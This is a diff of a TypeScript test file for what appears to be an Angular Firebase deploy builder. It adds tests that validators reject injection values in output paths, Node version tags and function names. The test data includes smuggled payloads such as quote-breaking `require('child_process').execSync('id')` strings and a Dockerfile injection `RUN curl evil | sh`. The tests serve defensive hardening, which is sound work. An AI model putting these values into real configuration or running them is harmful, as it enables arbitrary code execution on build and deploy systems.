|
1 | 1 | /* eslint-disable @typescript-eslint/no-empty-function */ |
2 | 2 | import { join } from 'path'; |
| 3 | +import { Script } from 'vm'; |
3 | 4 | import { BuilderContext, BuilderRun, ScheduleOptions, Target } from '@angular-devkit/architect'; |
4 | 5 | import { JsonObject, logging } from '@angular-devkit/core'; |
5 | 6 | import { BuildTarget, DeployBuilderSchema, FSHost, FirebaseDeployConfig, FirebaseTools } from '../interfaces'; |
6 | | -import deploy, { assertSafeDependencyName, assertSupportedPackageManager, buildCloudRunBuildsSubmitArgs, buildCloudRunDeployArgs, deployToFunction, findPackageVersion, processHost } from './actions.js' |
| 7 | +import deploy, { assertSafeDependencyName, assertSafeFunctionName, assertSafeNodeVersion, assertSafeOutputPath, assertSupportedPackageManager, buildCloudRunBuildsSubmitArgs, buildCloudRunDeployArgs, deployToCloudRun, deployToFunction, findPackageVersion, processHost } from './actions.js' |
7 | 8 | import 'jasmine'; |
8 | 9 |
|
9 | 10 | let context: BuilderContext; |
@@ -429,3 +430,205 @@ describe('deploy input validation (command-injection hardening)', () => { |
429 | 430 | }); |
430 | 431 | }); |
431 | 432 | }); |
| 433 | + |
| 434 | +describe('generated artifact validation (codegen-injection hardening)', () => { |
| 435 | + describe('assertSafeOutputPath', () => { |
| 436 | + [ |
| 437 | + 'dist/browser', 'dist/server', 'dist/my-app/browser', 'out', 'a.b-c_d/e', '../dist/browser', |
| 438 | + // Only a shell would act on these, and the one place the path reaches a shell is the |
| 439 | + // generated start script, which quotes it. So they are unusual directory names rather |
| 440 | + // than a way through, and rejecting them would break a deploy that works today. |
| 441 | + 'dist/my app', 'dist/*', 'dist/?pp', 'dist/[ab]', '~/x', 'dist\tserver', 'a;b', 'a|b', |
| 442 | + ].forEach((outputPath) => { |
| 443 | + it(`allows the valid outputPath ${JSON.stringify(outputPath)}`, () => { |
| 444 | + expect(() => assertSafeOutputPath(outputPath, 'proj:server')).not.toThrow(); |
| 445 | + }); |
| 446 | + }); |
| 447 | + |
| 448 | + [ |
| 449 | + `x'); require('child_process').execSync('id'); ('`, |
| 450 | + 'a`id`', 'a$(id)', 'a$HOME', 'a\nb', 'a\rb', 'a"b', 'a\\b', '-rf', |
| 451 | + ].forEach((outputPath) => { |
| 452 | + it(`rejects the unsafe outputPath ${JSON.stringify(outputPath)}`, () => { |
| 453 | + expect(() => assertSafeOutputPath(outputPath, 'proj:server')).toThrowError(/Unsafe outputPath/); |
| 454 | + }); |
| 455 | + }); |
| 456 | + }); |
| 457 | + |
| 458 | + describe('assertSafeNodeVersion', () => { |
| 459 | + // A Docker tag, since the Cloud Run path renders it as `FROM node:<version>-slim`. |
| 460 | + [undefined, 18, 20, '18', '18.19', '20.11.1', 'lts', 'current', 'iron', '22-bookworm'].forEach((version) => { |
| 461 | + it(`allows the valid functionsNodeVersion ${JSON.stringify(version)}`, () => { |
| 462 | + expect(() => assertSafeNodeVersion(version)).not.toThrow(); |
| 463 | + }); |
| 464 | + }); |
| 465 | + |
| 466 | + [ |
| 467 | + '18-slim\nRUN curl evil | sh', '18 && id', '18;id', '$(id)', '`id`', '18/../x', 'x:y', 'x@sha256', |
| 468 | + // Grammatical, but node:latest-slim has never been published. |
| 469 | + 'latest', |
| 470 | + // Docker caps a tag at 128 characters. |
| 471 | + '2'.repeat(129), |
| 472 | + ].forEach((version) => { |
| 473 | + it(`rejects the unsafe functionsNodeVersion ${JSON.stringify(version)}`, () => { |
| 474 | + expect(() => assertSafeNodeVersion(version)).toThrowError(/Unsafe functionsNodeVersion/); |
| 475 | + }); |
| 476 | + }); |
| 477 | + }); |
| 478 | + |
| 479 | + describe('assertSafeFunctionName', () => { |
| 480 | + // These are the names that can actually arrive: the schema pattern for functionName is |
| 481 | + // the wider Cloud Run service-ID rule, and this is the JavaScript-identifier rule the |
| 482 | + // Cloud Functions path needs on top of it. |
| 483 | + [undefined, 'ssr', 'ssrHandler', 'a1', 'my_fn'].forEach((functionName) => { |
| 484 | + it(`allows the valid functionName ${JSON.stringify(functionName)}`, () => { |
| 485 | + expect(() => assertSafeFunctionName(functionName)).not.toThrow(); |
| 486 | + }); |
| 487 | + }); |
| 488 | + |
| 489 | + [`ssr; require('child_process').execSync('id'); var _x`, 'my-fn', 'a b', '1fn', 'a.b', `a'`].forEach((functionName) => { |
| 490 | + it(`rejects the unsafe functionName ${JSON.stringify(functionName)}`, () => { |
| 491 | + expect(() => assertSafeFunctionName(functionName)).toThrowError(/Unsafe functionName/); |
| 492 | + }); |
| 493 | + }); |
| 494 | + }); |
| 495 | +}); |
| 496 | + |
| 497 | +// Runs a generated index.js against stubs, recording what it required and what it ran, so a |
| 498 | +// payload that escaped its context is caught by having executed rather than by how it reads. |
| 499 | +const runGeneratedFunction = (source: string) => { |
| 500 | + const required: string[] = []; |
| 501 | + const executed: string[] = []; |
| 502 | + const stub: Record<string, any> = { |
| 503 | + app: () => ({}), |
| 504 | + https: { onRequest: (app: unknown) => app }, |
| 505 | + execSync: (command: string) => { executed.push(command); return ''; }, |
| 506 | + }; |
| 507 | + stub.region = () => stub; |
| 508 | + stub.runWith = () => stub; |
| 509 | + const exports: Record<string, unknown> = {}; |
| 510 | + const run = () => new Script(source).runInNewContext({ |
| 511 | + exports, |
| 512 | + module: { exports }, |
| 513 | + require: (id: string) => { required.push(id); return stub; }, |
| 514 | + }); |
| 515 | + return { required, executed, exports, run }; |
| 516 | +}; |
| 517 | + |
| 518 | +// These drive the builders end-to-end so the protection cannot be silently dropped: every |
| 519 | +// assertSafe* call site in deployToFunction / deployToCloudRun is covered by a spec here |
| 520 | +// that fails if that call is removed, and so is the region escaping in the template. That |
| 521 | +// includes the static build target, whose outputPath only ever reaches the filesystem and |
| 522 | +// so has nothing exploitable to assert beyond the rejection itself. |
| 523 | +describe('generated artifact validation is wired into the builders', () => { |
| 524 | + beforeEach(() => initMocks()); |
| 525 | + |
| 526 | + const withOutputPaths = ( |
| 527 | + staticOutputPath: string, |
| 528 | + serverOutputPath: string, |
| 529 | + ): BuilderContext['getTargetOptions'] => (target: Target) => { |
| 530 | + if (target.target === 'build') { return Promise.resolve({ outputPath: staticOutputPath }); } |
| 531 | + if (target.target === 'server') { return Promise.resolve({ outputPath: serverOutputPath }); } |
| 532 | + // Matches architect, which throws rather than handing back options-less targets. |
| 533 | + throw new Error(`Invalid target: ${JSON.stringify(target)}.`); |
| 534 | + }; |
| 535 | + |
| 536 | + const withServerOutputPath = (outputPath: string) => withOutputPaths('dist/browser', outputPath); |
| 537 | + const withStaticOutputPath = (outputPath: string) => withOutputPaths(outputPath, 'dist/server'); |
| 538 | + |
| 539 | + const EVIL_PATH = `dist'); require('child_process').execSync('id'); ('`; |
| 540 | + |
| 541 | + it('deployToFunction rejects a hostile server outputPath', async () => { |
| 542 | + context.getTargetOptions = withServerOutputPath(EVIL_PATH); |
| 543 | + await expectAsync(deployToFunction( |
| 544 | + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, |
| 545 | + { preview: false }, undefined, fsHost |
| 546 | + )).toBeRejectedWithError(/Unsafe outputPath/); |
| 547 | + }); |
| 548 | + |
| 549 | + it('deployToFunction rejects a hostile static outputPath', async () => { |
| 550 | + context.getTargetOptions = withStaticOutputPath(EVIL_PATH); |
| 551 | + await expectAsync(deployToFunction( |
| 552 | + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, |
| 553 | + { preview: false }, undefined, fsHost |
| 554 | + )).toBeRejectedWithError(/Unsafe outputPath/); |
| 555 | + }); |
| 556 | + |
| 557 | + it('deployToFunction rejects a server outputPath that starts with a dash', async () => { |
| 558 | + context.getTargetOptions = withServerOutputPath('-rf'); |
| 559 | + await expectAsync(deployToFunction( |
| 560 | + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, |
| 561 | + { preview: false }, undefined, fsHost |
| 562 | + )).toBeRejectedWithError(/Unsafe outputPath/); |
| 563 | + }); |
| 564 | + |
| 565 | + it('deployToFunction rejects a functionName that is not a plain identifier', async () => { |
| 566 | + await expectAsync(deployToFunction( |
| 567 | + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, |
| 568 | + { preview: false, functionName: `ssr; require('child_process').execSync('id'); var _x` }, |
| 569 | + undefined, fsHost |
| 570 | + )).toBeRejectedWithError(/Unsafe functionName/); |
| 571 | + }); |
| 572 | + |
| 573 | + it('deployToFunction escapes region into the generated function instead of interpolating it raw', async () => { |
| 574 | + const spy = spyOn(fsHost, 'writeFileSync'); |
| 575 | + const region = `us-central1'); require('child_process').execSync('id'); ('`; |
| 576 | + await deployToFunction( |
| 577 | + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, |
| 578 | + { preview: false, region }, undefined, fsHost |
| 579 | + ); |
| 580 | + // By path rather than by call order, so adding or reordering a write does not silently |
| 581 | + // point this at the wrong file. |
| 582 | + const write = spy.calls.allArgs().find(([path]) => path.endsWith('index.js')); |
| 583 | + if (!write) { throw new Error('deployToFunction wrote no index.js'); } |
| 584 | + const indexJs = write[1]; |
| 585 | + expect(indexJs).toContain(`.region(${JSON.stringify(region)})`); |
| 586 | + |
| 587 | + // Interpolated raw, the payload closes `.region('` and the require becomes a statement |
| 588 | + // of its own, which runs when the function loads. Rendered through the fixed template it |
| 589 | + // stays inside a string literal, so running the source touches neither. |
| 590 | + const generated = runGeneratedFunction(indexJs); |
| 591 | + expect(generated.run).not.toThrow(); |
| 592 | + expect(generated.executed).toEqual([]); |
| 593 | + expect(generated.required).not.toContain('child_process'); |
| 594 | + expect(Object.keys(generated.exports)).toEqual(['ssr']); |
| 595 | + }); |
| 596 | + |
| 597 | + it('deployToCloudRun rejects a hostile server outputPath', async () => { |
| 598 | + context.getTargetOptions = withServerOutputPath(EVIL_PATH); |
| 599 | + await expectAsync(deployToCloudRun( |
| 600 | + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, |
| 601 | + { preview: false }, undefined, fsHost |
| 602 | + )).toBeRejectedWithError(/Unsafe outputPath/); |
| 603 | + }); |
| 604 | + |
| 605 | + it('deployToCloudRun rejects a hostile static outputPath', async () => { |
| 606 | + context.getTargetOptions = withStaticOutputPath(EVIL_PATH); |
| 607 | + await expectAsync(deployToCloudRun( |
| 608 | + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, |
| 609 | + { preview: false }, undefined, fsHost |
| 610 | + )).toBeRejectedWithError(/Unsafe outputPath/); |
| 611 | + }); |
| 612 | + |
| 613 | + it('deployToCloudRun rejects a hostile functionsNodeVersion', async () => { |
| 614 | + await expectAsync(deployToCloudRun( |
| 615 | + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, |
| 616 | + { preview: false, functionsNodeVersion: '18-slim\nRUN curl evil | sh' }, undefined, fsHost |
| 617 | + )).toBeRejectedWithError(/Unsafe functionsNodeVersion/); |
| 618 | + }); |
| 619 | + |
| 620 | + it('deployToCloudRun rejects a hostile functionsNodeVersion before touching the output directory', async () => { |
| 621 | + const removeSpy = spyOn(fsHost, 'removeSync'); |
| 622 | + const copySpy = spyOn(fsHost, 'copySync'); |
| 623 | + const writeSpy = spyOn(fsHost, 'writeFileSync'); |
| 624 | + |
| 625 | + await expectAsync(deployToCloudRun( |
| 626 | + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, |
| 627 | + { preview: false, functionsNodeVersion: '18-slim\nRUN curl evil | sh' }, undefined, fsHost |
| 628 | + )).toBeRejectedWithError(/Unsafe functionsNodeVersion/); |
| 629 | + |
| 630 | + expect(removeSpy).not.toHaveBeenCalled(); |
| 631 | + expect(copySpy).not.toHaveBeenCalled(); |
| 632 | + expect(writeSpy).not.toHaveBeenCalled(); |
| 633 | + }); |
| 634 | +}); |
0 commit comments